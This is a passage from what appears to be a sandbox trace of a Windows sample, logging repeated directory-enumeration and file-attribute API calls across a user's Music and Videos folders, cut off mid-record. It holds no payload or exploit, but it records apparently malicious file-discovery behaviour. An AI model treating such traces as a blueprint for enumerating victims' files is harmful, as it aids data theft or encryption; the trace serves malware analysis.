wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO", lpFilePart=0x0) returned 0x4a [0073.574] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe93d8 [0073.574] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.574] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.574] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.574] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0073.574] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0073.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0073.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0073.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO", lpFilePart=0x0) returned 0x4a [0073.575] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\D XgP5yxO\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe93d8 [0073.575] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.575] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.575] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.575] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0073.575] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0073.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0073.575] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH", lpFilePart=0x0) returned 0x46 [0073.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0073.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\mihhh"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13e88810, ftCreationTime.dwHighDateTime=0x1d300a0, ftLastAccessTime.dwLowDateTime=0x9fa42440, ftLastAccessTime.dwHighDateTime=0x1d2f812, ftLastWriteTime.dwLowDateTime=0x9fa42440, ftLastWriteTime.dwHighDateTime=0x1d2f812, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0073.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0073.576] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH", lpFilePart=0x0) returned 0x46 [0073.576] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe93d8 [0073.576] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.576] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.576] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.576] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.576] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.576] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0073.576] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0073.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0073.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0073.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH", lpFilePart=0x0) returned 0x46 [0073.577] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\miHhH\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe93d8 [0073.577] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.577] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.577] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.577] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.577] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.577] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0073.577] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0073.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0073.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY", lpFilePart=0x0) returned 0x48 [0073.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0073.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY" (normalized: "c:\\users\\kft6utqw\\music\\e1mt woaqipijv7ecvn\\spkpdtjk\\clnojurnmvl\\_bcyujy"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf73ce060, ftCreationTime.dwHighDateTime=0x1d30308, ftLastAccessTime.dwLowDateTime=0xb6d95120, ftLastAccessTime.dwHighDateTime=0x1d2ff8e, ftLastWriteTime.dwLowDateTime=0xb6d95120, ftLastWriteTime.dwHighDateTime=0x1d2ff8e, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0073.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0073.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0073.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY", lpFilePart=0x0) returned 0x48 [0073.578] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe93d8 [0073.578] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.578] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.578] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.579] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.579] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0073.579] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0073.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0073.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0073.579] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY", lpFilePart=0x0) returned 0x48 [0073.579] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\_bCyujY\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe93d8 [0073.579] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.579] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.580] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.580] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0073.580] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0073.580] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0073.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0073.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0073.580] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl", lpFilePart=0x0) returned 0x40 [0073.580] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\clNOjUrNMvl\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe93d8 [0073.580] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.580] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0073.581] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0073.582] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0073.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0073.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0073.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk", lpFilePart=0x0) returned 0x34 [0073.582] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\sPKPdtJk\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe93d8 [0073.582] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.582] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.582] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.582] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.582] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0073.582] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0073.582] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0073.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0073.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0073.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN", lpFilePart=0x0) returned 0x2b [0073.583] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\e1mt wOaqipijv7EcVN\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe93d8 [0073.583] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.583] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.583] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.583] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.583] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.583] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0073.584] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0073.584] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0073.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0073.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0073.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Music", lpFilePart=0x0) returned 0x17 [0073.584] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Music\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe93d8 [0073.584] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.584] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.584] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.584] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.584] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.584] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.585] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0073.585] FindNextFileW (in: hFindFile=0x6fe93d8, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0073.585] FindClose (in: hFindFile=0x6fe93d8 | out: hFindFile=0x6fe93d8) returned 1 [0073.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0073.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0074.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos", lpFilePart=0x0) returned 0x18 [0074.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0074.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos" (normalized: "c:\\users\\kft6utqw\\videos"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc350dca0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc350dca0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0074.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos", lpFilePart=0x0) returned 0x18 [0074.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0074.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos" (normalized: "c:\\users\\kft6utqw\\videos"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc350dca0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc350dca0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0074.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos", lpFilePart=0x0) returned 0x18 [0074.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0074.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos" (normalized: "c:\\users\\kft6utqw\\videos"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc350dca0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc350dca0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0074.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0074.654] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos", lpFilePart=0x0) returned 0x18 [0074.654] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9258 [0074.654] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.654] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.654] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.654] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.654] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0074.654] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0074.655] FindClose (in: hFindFile=0x6fe9258 | out: hFindFile=0x6fe9258) returned 1 [0074.655] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0074.655] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0074.655] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA", lpFilePart=0x0) returned 0x1e [0074.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0074.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA" (normalized: "c:\\users\\kft6utqw\\videos\\extoa"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90866770, ftCreationTime.dwHighDateTime=0x1d3032f, ftLastAccessTime.dwLowDateTime=0xe9ef8e90, ftLastAccessTime.dwHighDateTime=0x1d305a5, ftLastWriteTime.dwLowDateTime=0xe9ef8e90, ftLastWriteTime.dwHighDateTime=0x1d305a5, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0074.655] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0074.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0074.655] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA", lpFilePart=0x0) returned 0x1e [0074.655] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9258 [0074.655] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.655] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.655] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.655] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.656] FindNextFileW (in: hFindFile=0x6fe9258, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0074.656] FindNextFileW (in: hFindFile=0x6fe9258, 